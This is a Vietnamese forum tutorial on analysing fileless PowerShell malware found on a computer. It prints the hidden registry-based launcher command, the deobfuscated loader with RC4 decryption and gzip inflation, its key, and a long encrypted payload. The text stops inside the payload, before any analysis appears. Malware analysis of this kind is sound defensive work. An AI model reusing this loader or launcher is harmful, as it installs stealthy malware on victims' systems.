Hướng dẫn phân tích virus powershell

Thảo luận trong 'Virus/Malware' bắt đầu bởi HustReMw, 15/09/18, 12:09 PM lúc 12:47 PM.

  1. HustReMw

    HustReMw Moderator Thành viên BQT

    Tham gia: 20/12/16, 05:12 PM
    Bài viết: 196
    Đã được thích: 126
    Điểm thành tích:
    43
    Powershell là một ngôn ngữ scrip xây dựng trên nền .NET. Nó giúp người quản trị dễ dàng quản trị hệ thống thông qua các dòng lệnh rất ngắn ngọn.

    Trước đây, tại sao virus lại được code nhiều bởi ngôn ngữ C++. Bởi vì, C++ dễ dàng tác động xâu vào hệ thống, hơn nữa C++ chạy được trên tất cả các hệ điều hành mà không cần bộ cài đặt kèm theo. Tuy nhiên, hiện powershell, C# cũng mặc định đã có từ windows 7 trở nên (Vista có không nhỉ?) nên virus code bằng 2 ngôn ngữ này đang trở nên phổ biến.

    Đặc biệt các loại virus như đào tiền ảo, tấn công APT... sử dụng powershell để tạo ra một dòng virus gọi là fileless(virus không có file) để ẩn dấu tránh sự phát hiện của các AntiVirus.

    Trong bài viết này mình sẽ giới thiệu một mẫu virus cụ thể và cách sử dụng công cụ để phân tích.

    Công cụ debug powershell?

    Windows Powershell ISE là một công cụ tích hợp sẵn trên windows có nhiệm vụ read, write, run, debug các script trên môi trường có giao diện.

    Cách sử dụng công cụ để phân tích virus?

    Mình có một mẫu virus được code bằng powershell như sau và mình với các bạn cùng phân tích nhé. Đây là một mẫu fileless mình rà soát được trên một máy tính
    upload_2018-9-15_12-45-20.png

    Như thấy hình trên, loại virus này hoàn toàn không có file, nó chạy thông qua các script powershell được lưu trên registry. Doạn lệnh bên dưới có ý nghĩa: PowerShell.exe sẽ giải mã base64 và thực thi script lưu trong registry HKCU:\Software\Classes\isbCkwI\wXXEsNt

    Mã:
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\isbCkwI').wXXEsNt)));
    Đi tới registry lưu script, ta thấy nó lưu data dưới dạng base64, giải mã ra chúng ta được đoạn script đẹp như sau
    Mã:
    $IGBUKaxyYYYKSP = 'isbCkwI';
    $MTMTBBCSSWA = '{8717F5D4-034A-47D2-A39B-F45E8D9AC2F4}';
    $NPYNSSDHZD = '{3D261031-2DB3-44C7-886B-5F53C4AD8029}';
    Function ppBnOyhYliCn{
        Param([Parameter( Position = 0, Mandatory = $true )][Byte[]]$TAMOODPZZXDLWDYXUTZ,[Parameter(Position = 1, Mandatory = $true)][Byte[]]$zYdXiQXXKDo)
        [Byte[]]$k = New-Object Byte[] 256;
        [Byte[]]$s = New-Object Byte[] 256;
        for ($i = 0; $i -lt 256; $i++){
            $s[$i] = [Byte]$i;
            $k[$i] = $zYdXiQXXKDo[$i % $zYdXiQXXKDo.Length];
        }
        $p = 0;
        for ($i = 0; $i -lt 256; $i++){
            $p = ($p + $s[$i] + $k[$i]) % 256;
            $s[$i],$s[$p] = $s[$p],$s[$i];
        }
        $i = 0;$p = 0;
        for ($c = 0; $c -lt $TAMOODPZZXDLWDYXUTZ.Length; $c++){
            $i = ($i + 1) % 256;
            $p = ($p + $s[$i]) % 256;
            $s[$i],$s[$p] = $s[$p],$s[$i];
            [int]$m = ($s[$i] + $s[$p]) % 256;
            $TAMOODPZZXDLWDYXUTZ[$c] = $TAMOODPZZXDLWDYXUTZ[$c] -bxor $s[$m];
        }
        return $TAMOODPZZXDLWDYXUTZ;
    }
    Function inflatebin{
        Param([Parameter( Position = 0, Mandatory = $true )]$TAMOODPZZXDLWDYXUTZ)
        $memstream = New-Object System.IO.MemoryStream;
        $memstream.Write($TAMOODPZZXDLWDYXUTZ, 0, $TAMOODPZZXDLWDYXUTZ.Length);
        $memstream.Seek(0,0) | Out-Null;
        $gzstream = New-Object System.IO.Compression.GZipStream($memstream,[IO.Compression.CompressionMode]::Decompress);
        $reader = New-Object System.IO.StreamReader($gzstream);
        $TAMOODPZZXDLWDYXUTZ = $reader.ReadToEnd();
        $reader.close();
        return $TAMOODPZZXDLWDYXUTZ;
    }
    $WQRPEKVSOECTV = [System.Text.Encoding]::ASCII.GetBytes('6Gl5Z25smBBe5');
    $KALCTJCDPMCDGXTSP = [System.Convert]::FromBase64String('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